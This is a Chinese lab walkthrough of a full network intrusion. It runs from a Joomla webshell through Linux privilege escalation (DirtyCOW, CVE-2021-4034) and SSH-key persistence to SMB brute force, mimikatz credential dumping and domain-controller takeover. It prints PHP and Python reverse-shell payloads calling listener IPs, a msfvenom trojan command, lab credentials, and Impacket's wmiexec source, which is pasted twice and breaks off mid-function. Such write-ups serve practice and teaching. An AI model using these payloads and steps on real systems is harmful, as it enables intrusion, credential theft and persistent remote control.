前言
参考文章:https://blog.csdn.net/qq_36241198/article/details/120950237
看网络上的通关教程,在/tmp/mysql的目录下发现了192.168.93.100服务器的用户与密码,但我下载的并没有
因为ubuntu(192.168.93.120)不出网,一般情况下需要centos作为跳板机进行横向移动。这里我使用了
pystinger(毒刺,github搜索)工具通过web服务来代理流量并且可以上线cs或者反弹shell。
网卡配置
192.168.1.1/24相当于公网
192.168.93.1/24相当于内网。
centos是安装这两个网卡,其他都是安装一个192.168.93.1/24
拓扑图
获取webshell
1.扫描网段端口
扫描192.168.1.1/24
2.目录扫描
/REDEME.txt获取到:cms:Joomla_3.9_version
后台地址
http://192.168.1.100/administrator/index.php
/LICENSE.txt
/1.php phpinfo
发现配置文件泄露:/configuration.php~
获取到
public $user = ‘testuser’; public $password = ‘cvcvgjASD!@’;
public $log_path = ‘/var/www/html/administrator/logs’;
3.登录数据库
不是管理员权限,所以无法从mysqlgetshell,查看网站密码是加密的
网络搜索joomlal密码修改可以找到通过数据库修改密码
administrator:testadmin
$2y$10$YLDHAKavP1T0s.R4dTN3ZuEhtXaecvsoi02Vb37N8/zo/.MJ18seu
登录到后台,可以查看到具体版本,网上搜搜公开漏洞
![image.png](https://img-blog.csdnimg.cn/img_convert/90b94b31bb90079d67059b7d6166757a.png#clientId=ue7e7969d-087d-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=93&id=u29e3865d&margin=[object Object]&name=image.png&originHeight=186&originWidth=1443&originalType=binary&ratio=1&rotation=0&showTitle=false&size=39836&status=done&style=none&taskId=u74f3f7d1-d8c6-4341-9294-848cb1847ea&title=&width=721.5)
4.获取cms信息进行漏洞利用getshell
CVE-2021-23132】Joomla远程代码执行漏洞
网络上是先创建一个管理员用户
因为本身就是管理员登录,所以不用创建管理员了。
进入到下面页面
创建一个文件
然后写上测试代码<?php phpinfo();?>
保存后访问ip/templates/beez3/shell.php
代码执行成功,
然后把内容换成webshell,getshell
5.绕过命令执行
绕过禁用命令执行函数
命令执行发现没有执行成功,可能被禁命令执行函数。
使用蚁剑插件进行绕过
可以命令执行,但权限低。想办法反弹shell然后提权
获取内网地址
判断服务器是否出网
python3 -m http.server 88
靶机访问
再次查看。没有记录,看来是映射到192.168.1.1网段的,不出网。
内网渗透
网络上大多都是从centos入侵的,所以,横向移动以第二种方法继续。想要从第一种方法继续的可以参看查看参考的文章。
第一种方法:通过centos当做跳板机
1.centos获取root权限
思路:因为想要提权就必须有交互shell,但机器不出网,所以只能拿下边界服务器,然后当做跳板机入侵内网.
本来centos账号密码 在/tmp/mysql目录下,但我下载的没有找到。。。wwwuser:wwwusre_123Aqx
登录后,先提权,然后安装nc,扫描93.1/24
提权
使用linux-exploit-suggester工具扫描可能存在的内核漏洞
使用python开启web服务
centos使用wget下载
然后运行sh es.sh
使用CVE提权
使用CVE-2016-5195,github搜索。
同样通过pythonweb与wget上传exp
gcc -pthread dirty.c -o dirty -lcrypt
成功后
./dirty my-new-password
su firefart 输入上面密码
firefart为root权限
执行成功
登录成功,root权限。
安装nc 方便获取ubuntu机器的shell
uname -a 获取构架是64位
地址:
这是64位的
http://vault.centos.org/6.6/os/x86_64/Packages/nc-1.84-22.el6.x86_64.rpm
32位
http://vault.centos.org/6.6/os/i386/Packages/nc-1.84-22.el6.i686.rpm
先下载下来然后python web传上去
执行安装命令:
rpm -iUv nc-1.84-22.el6.x86_64.rpm
安装成功。
开启监听。这个版本的nc 监听方式有点不同:nc -l 444(一般是-lvvp 444)
2.ubuntu root权限获取
网上教程是使用nc 反弹的,但一般服务器都不会安装nc工具的,简直的引狼入室,因为没有/dev/tcp文件,所以一般一句话反弹是无效的。本来可以使用php反弹shell,但因为禁用了命令执行函数,所以也用不上,若没有可以尝试:
php -r '$sock=fsockopen("192.168.93.1",444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$s=fsockopen("192.168.93.1",444);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
php -r '$s=fsockopen("8.8.8.8",8888);system("/bin/sh -i <&3 >&3 2>&3");'
然后后面尝试使用python来反弹,大多Linux默认安装着python2
测试是否有python服务
所以存在的,把下面内容修改后复制保存并运行
#!/usr/bin/python
#-*- coding: utf-8 -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.20.151",7777)) #更改localhost为自己的外网ip,端口任意
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
成功获取shell
提权
方法同centos一样。
查询后也存在同样的漏洞。
但使用CVE-2016-5195提权失败
若成功,查看passwd,root则会变成
尝试CVE-2017-16995,还是失败,,,
下一个CVE-2021-4034,这个漏洞就牛了,就阿里云安装的服务器大多就有,只要存在几乎通杀。
提权成功。
ubuntu权限维持
反弹shell终究使用不习惯,
权限维持:可以创建一个root权限的用户,或者
可以把公钥写到/root/.ssh/目录下的authorized_keys文件中
没有.ssh文件夹,可以创建一个:mkdir .ssh
然后上传一个公钥
这里把centos机器上公钥传上去
开始也是没有,创建公私钥匙
centos机器上:
cd ~/.ssh/ # 若没有该目录,请先执行一次ssh localhost再执行exit
ssh-keygen -t rsa -P '' # 免密登录。会有提示,都按回车就可以
查看本目录其中:id_rsa为私钥文件,id_rsa.pub为公钥文件。
cat id_rsa.pub #把公钥复制下来然后写入到unbuntu上。
ubuntu上:
例如:
echo ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyWarZ9LZRsTmwcqRY4li9a9WEb6CMUoM8xzaMwoLs0t/TuFgmxZvMecHnNE5g8tti54C46QZcjXUuyG917ALjXoWwbOM46AwcYVHQz0C6c53JGBMbHR6hBBmhWyC/E3fzyIBJ53VfuNwIdp14yM+8SrbyWeVZn74fhRMXo0LT7fFEYgrWI2kNVGDm2cGjpL/vFQh4b4lWVlJl+nRlz2DZmCSC6CjpJC3/G39K34+Gdk54+zEz7oIk7vFKGtbAlRLVh47QHU1qzJpxtvuCl1BOf11erMOVz5xuoWgEkDx/uFx/sjgvsTk2krokd2JVuu+TexD7y7c59DKOwyTm4m+CQ== firefart@localhost.localdomain > authorized_keys
至此。两个Linux服务器都已经持续化维权了。
现在掌握的信息
第二种方法:通过web服务代理流量
原理推测
1.正常情况下内网穿透的情景,内网机器可以访问公网服务器开放的端口(作为建立联系的前提条件),然后把内网机器一个端口映射到公网服务器的一个端口上。
**2.然后类比,**经过socks代理后。我们可以访问不出网的服务器开放的端口,现在是有了作为内网穿透的条件。然后把我们本地的端口60020通过socks服务映射到内网服务器的60020。这样向反弹shell,上线cs既可通内网的60020端口进行连接。也就是攻击端监听本地60020,内网服务器上线127.0.0.1:60020。
这里生成的socks代理原理应该与Neo-reGeorg差不多,基于 HTTP(S) 协议建立隧道,不过这里是sock4a
总的来说:socks代理是前提,然后通过socks代理建立内网穿透。把vps60020端口映射到内网60020端口。
使用
项目地址:https://github.com/FunnyWolf/pystinger/blob/master/readme_cn.md
上传webshell文件到目标服务器:
例如:proxy.php上传到目标服务器,确保http://ip:port/xxx/proxy.php 可以访问,页面返回 UTF-8
将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行
启动服务端
windows:start D:/XXX/stinger_server.exe 192.168.93.120
不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连
Linux:chmod +x stinger_server;./stinger_server 192.168.93.120
vps执行./stinger_client -w http://ip:port/xxx/proxy.php -l 0.0.0.0 -p 1080 -ti 127.0.0.1 -tp 444
注:1080为socks4代理端口,可以修改成其他。444为本地监听端口
如下输出表示成功
使用工具测试socks4连接是否正常127.0.0.1:60000
若链接不到,大概率是本地没有开放响应的端口,若上面连接失败,尝试把目标服务器的防火墙关闭。
然后本地监听:nc -lvvp 444
然后后面尝试使用python来反弹,大多Linux默认安装着python2
测试是否有python服务
所以存在的,把下面内容修改后复制保存并运行
#!/usr/bin/python
#-*- coding: utf-8 -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.20.151",7777)) #更改localhost为自己的外网ip,端口任意
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
成功获取shell
![image.png](https://img-blog.csdnimg.cn/img_convert/a256495c759ffbac883934bedcce7818.png#clientId=u72de15ca-162b-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=125&id=ua751ea47&margin=[object Object]&name=image.png&originHeight=249&originWidth=895&originalType=binary&ratio=1&rotation=0&showTitle=false&size=21033&status=done&style=none&taskId=udfc3fff6-0884-4920-8de7-8c9ea586f0c&title=&width=447.5)
提权
方法同centos一样。
查询后也存在同样的漏洞。
但使用CVE-2016-5195提权失败
若成功,查看passwd,root则会变成
尝试CVE-2017-16995,还是失败,,,
下一个CVE-2021-4034,这个漏洞就牛了,就阿里云安装的服务器大多就有,只要存在几乎通杀。
提权成功。
开启横向移动
域内信息收集
使用fscan开始内网扫描。
由于蚁剑直接传文件到ubuntu服务器上,
chmod +x fscan #添加执行权限
./fscan -h 192.168.93.1/24
扫描结果会保存在同一目录下:result.txt
扫描到了三台主机,并开放了445与139端口
192.168.93.10
192.168.93.20
192.168.93.30
添加代理
因为三台windows主机没有开启web等第三方服务。所以尝试爆破
修改配置文件:vim /etc/proxychains4.conf
把最后一行改为
然后执行:proxychains bash
设置 bash 全局终端代理
测试 curl http://192.168.93.120
,若有回显则代理成功
smb爆破
输入msfconsole开启msf
use auxiliary/scanner/smb/smb_login
set SMBUSER administrator
set PASS_FILE 字典路径
set rhosts 192.168.93.20
run
这里能否爆破出密码就看你字典是否强大了。
密码是:123qwe!ASD
我翻遍了所以弱口令字典都不包含,,所以就只好手动添加,
vim /usr/share/wordlists/fasttrack.txt #kali自带的字典
尽量往前面添加一点,要不然爆破时间很长。。。
然后设置字典为上面的那个路径,
然后更换rhosts值,爆破三个主机
192.168.93.10主机是没有跑出来的。
windows系统也可以使用工具破解
https://github.com/lz520520/railgun
并且可以并发执行,速度还是很快的。
方式一,通过winsow系统操作
获取shell
不知怎么使用毒刺,接收到反弹的shell的连接后会直接断开导致无法使用kali继续渗透。所以后面测试均在主机(可以直接通信93.1段)上测试。
把下面文件保存为wmiexec.py:python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'
#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# A similar approach to smbexec but executing commands through WMI.
# Main advantage here is it runs under the user (has to be Admin)
# account, not SYSTEM, plus, it doesn't generate noisy messages
# in the event log that smbexec.py does when creating a service.
# Drawback is it needs DCOM, hence, I have to be able to access
# DCOM ports at the target machine.
#
# Author:
# beto (@agsolino)
#
# Reference for:
# DCOM
#
from __future__ import division
from __future__ import print_function
import sys
import os
import cmd
import argparse
import time
import logging
import ntpath
from base64 import b64encode
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket import version
from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.krb5.keytab import Keytab
from six import PY2
OUTPUT_FILENAME = '__' + str(time.time())
CODEC = sys.stdout.encoding
class WMIEXEC:
def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,
noOutput=False, doKerberos=False, kdcHost=None, shell_type=None):
self.__command = command
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__share = share
self.__noOutput = noOutput
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__shell_type = shell_type
self.shell = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def run(self, addr, silentCommand=False):
if self.__noOutput is False and silentCommand is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process, _ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.__shell_type, silentCommand)
if self.__command != ' ':
self.shell.onecmd(self.__command)
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
class RemoteShell(cmd.Cmd):
def __init__(self, share, win32Process, smbConnection, shell_type, silentCommand=False):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = '\\' + OUTPUT_FILENAME
self.__outputBuffer = str('')
self.__shell = 'cmd.exe /Q /c '
self.__shell_type = shell_type
self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
self.__win32Process = win32Process
self.__transferClient = smbConnection
self.__silentCommand = silentCommand
self.__pwd = str('C:\\')
self.__noOutput = False
self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd('\\')
else:
self.__noOutput = True
# If the user wants to just execute a command without cmd.exe, set raw command and set no output
if self.__silentCommand is True:
self.__shell = ''
def do_shell(self, s):
os.system(s)
def do_help(self, line):
print("""
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
lput {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
lget {file} - downloads pathname to the current local dir
! {cmd} - executes a local shell cmd
""")
def do_lcd(self, s):
if s == '':
print(os.getcwd())
else:
try:
os.chdir(s)
except Exception as e:
logging.error(str(e))
def do_lget(self, src_path):
try:
import ntpath
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
fh = open(filename, 'wb')
logging.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1] + '$', tail, fh.write)
fh.close()
except Exception as e:
logging.error(str(e))
if os.path.exists(filename):
os.remove(filename)
def do_lput(self, s):
try:
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = ''
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
dst_path = dst_path.replace('/', '\\')
import ntpath
pathname = ntpath.join(ntpath.join(self.__pwd, dst_path), src_file)
drive, tail = ntpath.splitdrive(pathname)
logging.info("Uploading %s to %s" % (src_file, pathname))
self.__transferClient.putFile(drive[:-1] + '$', tail, fh.read)
fh.close()
except Exception as e:
logging.critical(str(e))
pass
def do_exit(self, s):
return True
def do_EOF(self, s):
print()
return self.do_exit(s)
def emptyline(self):
return False
def do_cd(self, s):
self.execute_remote('cd ' + s)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
if PY2:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s.decode(sys.stdin.encoding)))
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = (self.__pwd + '>')
if self.__shell_type == 'powershell':
self.prompt = 'PS ' + self.prompt + ' '
self.__outputBuffer = ''
def default(self, line):
# Let's try to guess if the user is trying to change drive
if len(line) == 2 and line[1] == ':':
# Execute the command and see if the drive is valid
self.execute_remote(line)
if len(self.__outputBuffer.strip('\r\n')) > 0:
# Something went wrong
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
# Drive valid, now we should get the current path
self.__pwd = line
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = (self.__pwd + '>')
self.__outputBuffer = ''
else:
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
try:
self.__outputBuffer += data.decode(CODEC)
except UnicodeDecodeError:
logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py '
'again with -codec and the corresponding codec')
self.__outputBuffer += data.decode(CODEC, errors='replace')
if self.__noOutput is True:
self.__outputBuffer = ''
return
while True:
try:
self.__transferClient.getFile(self.__share, self.__output, output_callback)
break
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
# Output not finished, let's wait
time.sleep(1)
pass
elif str(e).find('Broken') >= 0:
# The SMB Connection might have timed out, let's try reconnecting
logging.debug('Connection broken, trying to recreate it')
self.__transferClient.reconnect()
return self.get_output()
self.__transferClient.deleteFile(self.__share, self.__output)
def execute_remote(self, data, shell_type='cmd'):
if shell_type == 'powershell':
data = '$ProgressPreference="SilentlyContinue";' + data
data = self.__pwsh + b64encode(data.encode('utf-16le')).decode()
command = self.__shell + data
if self.__noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
if PY2:
self.__win32Process.Create(command.decode(sys.stdin.encoding), self.__pwd, None)
else:
self.__win32Process.Create(command, self.__pwd, None)
self.get_output()
def send_data(self, data):
self.execute_remote(data, self.__shell_type)
print(self.__outputBuffer)
self.__outputBuffer = ''
class AuthFileSyntaxError(Exception):
'''raised by load_smbclient_auth_file if it encounters a syntax error
while loading the smbclient-style authentication file.'''
def __init__(self, path, lineno, reason):
self.path = path
self.lineno = lineno
self.reason = reason
def __str__(self):
return 'Syntax error in auth file %s line %d: %s' % (
self.path, self.lineno, self.reason)
def load_smbclient_auth_file(path):
'''Load credentials from an smbclient-style authentication file (used by
smbclient, mount.cifs and others). returns (domain, username, password)
or raises AuthFileSyntaxError or any I/O exceptions.'''
lineno = 0
domain = None
username = None
password = None
for line in open(path):
lineno += 1
line = line.strip()
if line.startswith('#') or line == '':
continue
parts = line.split('=', 1)
if len(parts) != 2:
raise AuthFileSyntaxError(path, lineno, 'No "=" present in line')
(k, v) = (parts[0].strip(), parts[1].strip())
if k == 'username':
username = v
elif k == 'password':
password = v
elif k == 'domain':
domain = v
else:
raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))
return (domain, username, password)
# Process command-line arguments.
if __name__ == '__main__':
print(version.BANNER)
parser = argparse.ArgumentParser(add_help=True, description="Executes a semi-interactive shell using Windows "
"Management Instrumentation.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-share', action='store', default='ADMIN$', help='share where the output will be grabbed from '
'(default ADMIN$)')
parser.add_argument('-nooutput', action='store_true', default=False, help='whether or not to print the output '
'(no SMB connection created)')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-silentcommand', action='store_true', default=False,
help='does not execute cmd.exe to run given command (no output)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
'"%s"). If errors are detected, run chcp.com at the target, '
'map the result with '
'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py '
'again with -codec and the corresponding codec ' % CODEC)
parser.add_argument('-shell-type', action='store', default='cmd', choices=['cmd', 'powershell'],
help='choose a command processor for the semi-interactive shell')
parser.add_argument('-com-version', action='store', metavar="MAJOR_VERSION:MINOR_VERSION",
help='DCOM version, format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7')
parser.add_argument('command', nargs='*', default=' ', help='command to execute at the target. If empty it will '
'launch a semi-interactive shell')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true",
help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-A', action="store", metavar="authfile", help="smbclient/mount.cifs-style authentication file. "
"See smbclient man page's -A option.")
group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
# Init the example's logger theme
logger.init(options.ts)
if options.codec is not None:
CODEC = options.codec
else:
if CODEC is None:
CODEC = 'utf-8'
if ' '.join(options.command) == ' ' and options.nooutput is True:
logging.error("-nooutput switch and interactive shell not supported")
sys.exit(1)
if options.silentcommand and options.command == ' ':
logging.error("-silentcommand switch and interactive shell not supported")
sys.exit(1)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
if options.com_version is not None:
try:
major_version, minor_version = options.com_version.split('.')
COMVERSION.set_default_version(int(major_version), int(minor_version))
except Exception:
logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"")
sys.exit(1)
domain, username, password, address = parse_target(options.target)
try:
if options.A is not None:
(domain, username, password) = load_smbclient_auth_file(options.A)
logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (
repr(domain), repr(username), repr(password)))
if domain is None:
domain = ''
if options.keytab is not None:
Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
options.k = True
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
executer = WMIEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey,
options.share, options.nooutput, options.k, options.dc_ip, options.shell_type)
executer.run(address, options.silentcommand)
except KeyboardInterrupt as e:
logging.error(str(e))
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
sys.exit(1)
sys.exit(0)
获取shell
定位域控
ipconfig /all
域控:test.org ip:192.168.93.10
抓密码
github:https://github.com/gentilkiwi/mimikatz/
使用ipc上传
copy mimikatz.exe \\192.168.93.20\c$
然后命令执行:mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log
之前内网扫描的端口显示域控开启了139与445端口
直接使用ipc尝试登录获取shell
python wmiexec.py -debug 'administrator:zxcASDqw123!!@192.168.93.10'
登录成功
flag位置:c:/users/administrator/Documents
游戏结束。
方式二,通过kali渗透
第二天测试又可以了,可能当时需要重启把
win2008上线msf
生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=跳板机ip lport=6666 -f exe > shell.exe
使用smb上传木马
通过smb共享上传
smbclient //192.168.93.20/C$ -U administrator
put shell.exe
![image.png](https://img-blog.csdnimg.cn/img_convert/a52467d8fdd091e58bcb5765a7f2ee34.png#clientId=u326aca1b-8054-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=49&id=u8c15cf0b&margin=[object Object]&name=image.png&originHeight=97&originWidth=1152&originalType=binary&ratio=1&rotation=0&showTitle=false&size=8593&status=done&style=none&taskId=u70cfc04c-35c9-4b81-b882-05b4c38dc8b&title=&width=576)
再开启一个终端,开启msf监听
use exploit/multi/handler #使用监听模块
set payload windows/meterpreter/reverse_tcp #使用和木马相同的payload
set lhost 127.0.0.1 #kaili 的ip
set lport 444 #毒刺转发的端口
run #执行
执行木马
使用python工具执行命令
把下面文件保存为wmiexec.py:python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'
#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# A similar approach to smbexec but executing commands through WMI.
# Main advantage here is it runs under the user (has to be Admin)
# account, not SYSTEM, plus, it doesn't generate noisy messages
# in the event log that smbexec.py does when creating a service.
# Drawback is it needs DCOM, hence, I have to be able to access
# DCOM ports at the target machine.
#
# Author:
# beto (@agsolino)
#
# Reference for:
# DCOM
#
from __future__ import division
from __future__ import print_function
import sys
import os
import cmd
import argparse
import time
import logging
import ntpath
from base64 import b64encode
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket import version
from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.krb5.keytab import Keytab
from six import PY2
OUTPUT_FILENAME = '__' + str(time.time())
CODEC = sys.stdout.encoding
class WMIEXEC:
def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,
noOutput=False, doKerberos=False, kdcHost=None, shell_type=None):
self.__command = command
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__share = share
self.__noOutput = noOutput
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__shell_type = shell_type
self.shell = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def run(self, addr, silentCommand=False):
if self.__noOutput is False and silentCommand is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process, _ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.__shell_type, silentCommand)
if self.__command != ' ':
self.shell.onecmd(self.__command)
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
class RemoteShell(cmd.Cmd):
def __init__(self, share, win32Process, smbConnection, shell_type, silentCommand=False):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = '\\' + OUTPUT_FILENAME
self.__outputBuffer = str('')
self.__shell = 'cmd.exe /Q /c '
self.__shell_type = shell_type
self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
self.__win32Process = win32Process
self.__transferClient = smbConnection
self.__silentCommand = silentCommand
self.__pwd = str('C:\\')
self.__noOutput = False
self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd('\\')
else:
self.__noOutput = True
# If the user wants to just execute a command without cmd.exe, set raw command and set no output
if self.__silentCommand is True:
self.__shell = ''
def do_shell(self, s):
os.system(s)
def do_help(self, line):
print("""
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
lput {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
lget {file} - downloads pathname to the current local dir
! {cmd} - executes a local shell cmd
""")
def do_lcd(self, s):
if s == '':
print(os.getcwd())
else:
try:
os.chdir(s)
except Exception as e:
logging.error(str(e))
def do_lget(self, src_path):
try:
import ntpath
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
fh = open(filename, 'wb')
logging.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1] + '$', tail, fh.write)
fh.close()
